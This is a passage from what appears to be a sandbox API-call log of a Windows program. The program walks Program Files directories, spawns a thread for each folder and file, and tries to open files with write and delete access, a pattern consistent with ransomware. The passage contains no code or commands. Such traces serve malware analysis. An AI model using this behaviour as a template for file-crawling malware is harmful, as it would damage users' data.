lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0144.747] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0144.747] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0144.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908380) returned 1 [0144.748] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0144.748] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9418) returned 1 Thread: id = 1975 os_tid = 0x874 [0141.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx")) returned 0x20 [0145.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx", dwFileAttributes=0x20) returned 0 [0145.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.493] GetLastError () returned 0x5 [0145.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx", dwFileAttributes=0x20) returned 0 [0145.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6b48) returned 1 Thread: id = 1997 os_tid = 0x170 [0142.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm")) returned 0x20 [0142.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM", dwFileAttributes=0x20) returned 0 [0142.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.408] GetLastError () returned 0x5 [0142.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM", dwFileAttributes=0x20) returned 0 [0142.408] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f75f8) returned 1 Thread: id = 1998 os_tid = 0x314 [0142.076] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x93cf68 [0142.076] wcscpy (in: _Dest=0x93cf68, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0142.076] wcscat (in: _Dest=0x93cf68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0142.076] wcscat (in: _Dest=0x93cf68, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*" [0142.076] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91fe38 [0142.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0142.410] wcscmp (_String1=".", _String2=".") returned 0 [0142.410] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.410] wcscmp (_String1="..", _String2=".") returned 1 [0142.410] wcscmp (_String1="..", _String2="..") returned 0 [0142.410] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0142.410] wcscmp (_String1="Documentation", _String2=".") returned 1 [0142.410] wcscmp (_String1="Documentation", _String2="..") returned 1 [0142.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f75f8 [0142.410] wcscpy (in: _Dest=0x8f75f8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0142.411] wcscat (in: _Dest=0x8f75f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0142.411] wcscat (in: _Dest=0x8f75f8, _Source="Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0145.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f75f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068 [0145.989] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0145.989] wcscmp (_String1="Runtime", _String2=".") returned 1 [0145.989] wcscmp (_String1="Runtime", _String2="..") returned 1 [0145.989] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93ca58 [0145.989] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0145.989] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0145.989] wcscat (in: _Dest=0x93ca58, _Source="Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0145.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93ca58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c [0145.991] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0145.991] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0145.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fe38) returned 1 [0145.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cf68) returned 1 [0145.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ec18) returned 1 Thread: id = 1999 os_tid = 0x668 [0142.076] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e40b0 [0142.076] wcscpy (in: _Dest=0x8e40b0, _Source="C:\\Program Files\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0142.076] wcscat (in: _Dest=0x8e40b0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\") returned="C:\\Program Files\\Windows Mail\\en-US\\" [0142.076] wcscat (in: _Dest=0x8e40b0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\*") returned="C:\\Program Files\\Windows Mail\\en-US\\*" [0142.076] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91da20 [0142.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0142.412] wcscmp (_String1=".", _String2=".") returned 0 [0142.412] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.412] wcscmp (_String1="..", _String2=".") returned 1 [0142.412] wcscmp (_String1="..", _String2="..") returned 0 [0142.412] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0142.412] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0142.412] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0142.412] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0142.412] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0142.412] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0142.412] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0142.412] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0142.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91da20) returned 1 [0142.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e40b0) returned 1 [0142.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f96e8) returned 1 Thread: id = 2000 os_tid = 0x680 [0142.077] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ff0c8 [0142.077] wcscpy (in: _Dest=0x8ff0c8, _Source="C:\\Program Files\\Windows Journal\\en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0142.077] wcscat (in: _Dest=0x8ff0c8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\") returned="C:\\Program Files\\Windows Journal\\en-US\\" [0142.077] wcscat (in: _Dest=0x8ff0c8, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\*") returned="C:\\Program Files\\Windows Journal\\en-US\\*" [0142.077] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91def0 [0142.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0142.417] wcscmp (_String1=".", _String2=".") returned 0 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="..", _String2=".") returned 1 [0142.417] wcscmp (_String1="..", _String2="..") returned 0 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="JNTFiltr.dll.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="JNTFiltr.dll.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="jnwdui.dll.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="jnwdui.dll.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="jnwmon.dll.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="jnwmon.dll.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="Journal.exe.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="Journal.exe.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="NBMapTIP.dll.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="NBMapTIP.dll.mui", _String2="..") returned 1 [0142.417] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0142.417] wcscmp (_String1="PDIALOG.exe.mui", _String2=".") returned 1 [0142.417] wcscmp (_String1="PDIALOG.exe.mui", _String2="..") returned 1 [0142.418] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0142.418] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0142.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91def0) returned 1 [0142.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff0c8) returned 1 [0142.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e46e0) returned 1 Thread: id = 2001 os_tid = 0x854 [0142.084] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ea78 [0142.084] wcscpy (in: _Dest=0x90ea78, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0142.084] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0142.084] wcscat (in: _Dest=0x90ea78, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\*") returned="C:\\Program Files\\Windows Journal\\Templates\\*" [0142.084] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91e628 [0142.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0142.454] wcscmp (_String1=".", _String2=".") returned 0 [0142.454] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.454] wcscmp (_String1="..", _String2=".") returned 1 [0142.454] wcscmp (_String1="..", _String2="..") returned 0 [0142.454] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0142.454] wcscmp (_String1="blank.jtp", _String2=".") returned 1 [0142.454] wcscmp (_String1="blank.jtp", _String2="..") returned 1 [0142.454] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c170 [0142.454] wcscpy (in: _Dest=0x93c170, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0142.454] wcscat (in: _Dest=0x93c170, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0142.454] wcscat (in: _Dest=0x93c170, _Source="blank.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" [0144.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0144.759] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0144.759] wcscmp (_String1="Dotted_Line.jtp", _String2=".") returned 1 [0144.759] wcscmp (_String1="Dotted_Line.jtp", _String2="..") returned 1 [0144.759] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8cfc80 [0144.759] wcscpy (in: _Dest=0x8cfc80, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.759] wcscat (in: _Dest=0x8cfc80, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.759] wcscat (in: _Dest=0x8cfc80, _Source="Dotted_Line.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp") returned="C:\\Program Files\\Windows 